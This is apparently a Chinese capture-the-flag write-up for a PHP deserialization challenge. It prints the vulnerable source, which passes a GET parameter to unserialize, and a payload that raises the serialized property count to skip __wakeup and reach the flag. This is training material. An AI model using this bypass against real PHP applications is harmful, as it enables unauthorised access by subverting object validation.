https://www.nssctf.cn/problem/429
源码:
bash
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
-
类结构 :
HaHaHa类有两个属性admin和passwd -
构造函数 :设置默认值
admin="user",passwd="123456" -
__wakeup魔术方法 :在反序列化时自动调用,对
passwd进行sha1加密 -
__destruct魔术方法:在对象销毁时检查条件,如果满足就输出flag
需要同时满足两个条件才能获取flag:
$this->admin === "admin" && $this->passwd === "wllm"
但是__wakeup()方法会在反序列化时自动执行,将passwd进行sha1加密,这会导致:原始设置的passwd="wllm"会被加密成sha1("wllm"),加密后的值不等于"wllm"
解决方案:绕过__wakeup
PHP的反序列化漏洞中,可以通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。
构造payload
- 首先创建满足条件的对象:
bash
<?php
class HaHaHa{
public $admin;
public $passwd;
}
$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";
echo serialize($obj);
?>
正常序列化字符串: O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
绕过__wakeup的payload:
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
注意:当反序列化的对象属性数量与实际类属性数量不匹配时,__wakeup()方法不会被执行,所以 将属性数量从2改为比实际数量大的数字:3